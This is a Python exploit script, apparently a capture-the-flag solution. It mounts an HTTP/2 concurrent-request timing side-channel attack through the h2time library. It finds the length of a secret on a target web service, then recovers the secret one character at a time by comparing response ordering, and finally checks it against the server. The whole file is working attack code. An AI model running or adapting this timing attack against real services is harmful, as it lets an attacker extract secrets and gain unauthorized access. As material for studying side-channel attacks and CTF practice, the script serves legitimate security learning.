exploit.py

import os
import asyncio
import time
import string
import logging

from hyper import HTTP20Connection
from h2time import H2Time, H2Request

# Number of requests: TIMING_ITERATIONS * NUM_REQUEST_PAIRS * 2 * |SECRET_CHARSET| * |SECRET|
TIMING_ITERATIONS = 2  # 3
NUM_REQUEST_PAIRS = 10  # 20
SECRET_CHARSET = string.ascii_lowercase + "{}"
COMPARISON_CHAR = "*"  # This must not be in SECRET_CHARSET

target = os.environ["TARGET"].rstrip("/")

logging.basicConfig(level=logging.INFO)
logger = logging.getLogger("exploit")


def get(resource):
    logging.disable(logging.INFO)
    try:
        connection = HTTP20Connection(target.lstrip("http://").lstrip("https://"))
        connection.request("GET", f"/{resource}")
        return connection.get_response().read()
    finally:
        logging.disable(logging.DEBUG)


async def time_difference(a, b):
    request_a = H2Request("GET", f"{target}/{a}", {"user-agent": "h2time/0.1"})
    request_b = H2Request("GET", f"{target}/{b}", {"user-agent": "h2time/0.1"})
    a_quicker_count = 0
    b_quicker_count = 0
    for _ in range(TIMING_ITERATIONS):
        async with H2Time(
            request_a, request_b, num_request_pairs=NUM_REQUEST_PAIRS
        ) as h2t:
            results = await h2t.run_attack()
            b_quicker_count += len([result for result in results if result[0] < 0])
            a_quicker_count += len([result for result in results if result[0] >= 0])
        async with H2Time(
            request_b, request_a, num_request_pairs=NUM_REQUEST_PAIRS
        ) as h2t:
            results = await h2t.run_attack()
            a_quicker_count += len([result for result in results if result[0] < 0])
            b_quicker_count += len([result for result in results if result[0] >= 0])
    return a_quicker_count, b_quicker_count


async def exploit():
    secret_length = 1
    while get(COMPARISON_CHAR * secret_length) == b"SPACELESS SPACING!":
        secret_length += 1

    logger.info("")
    logger.info(f"Secret Length: {secret_length}")
    logger.info("")

    secret = ""

    for _ in range(secret_length):
        start = time.time()

        def spaced_secret_guess(guess):
            return " " * len(secret) + guess + " " * (secret_length - len(secret) - 1)

        tasks = {
            char: asyncio.create_task(
                time_difference(
                    spaced_secret_guess(COMPARISON_CHAR), spaced_secret_guess(char)
                )
            )
            for char in SECRET_CHARSET
        }
        await asyncio.gather(*tasks.values())

        lowest_char_quicker = None
        lowest_char_quicker_count = float("inf")
        for char, task in tasks.items():
            comparison_quicker_count, char_quicker_count = task.result()

            if char_quicker_count < lowest_char_quicker_count:
                lowest_char_quicker = char
                lowest_char_quicker_count = char_quicker_count

            logger.info(
                f"Tested: {secret + char} -- {comparison_quicker_count} {char_quicker_count}"
            )

        secret += lowest_char_quicker

        end = time.time()

        logger.info("")
        logger.info(f"Secret Progress: {secret}")
        logger.info(f"Secret Progress took: {end - start}s")
        logger.info("")

    correct = get(f"{secret}") == b"CORRECT!"

    logger.info("")
    logger.info(f"Secret: {secret}")
    logger.info(f"Correct: {correct}")
    logger.info("")


loop = asyncio.get_event_loop()
loop.run_until_complete(exploit())
loop.close()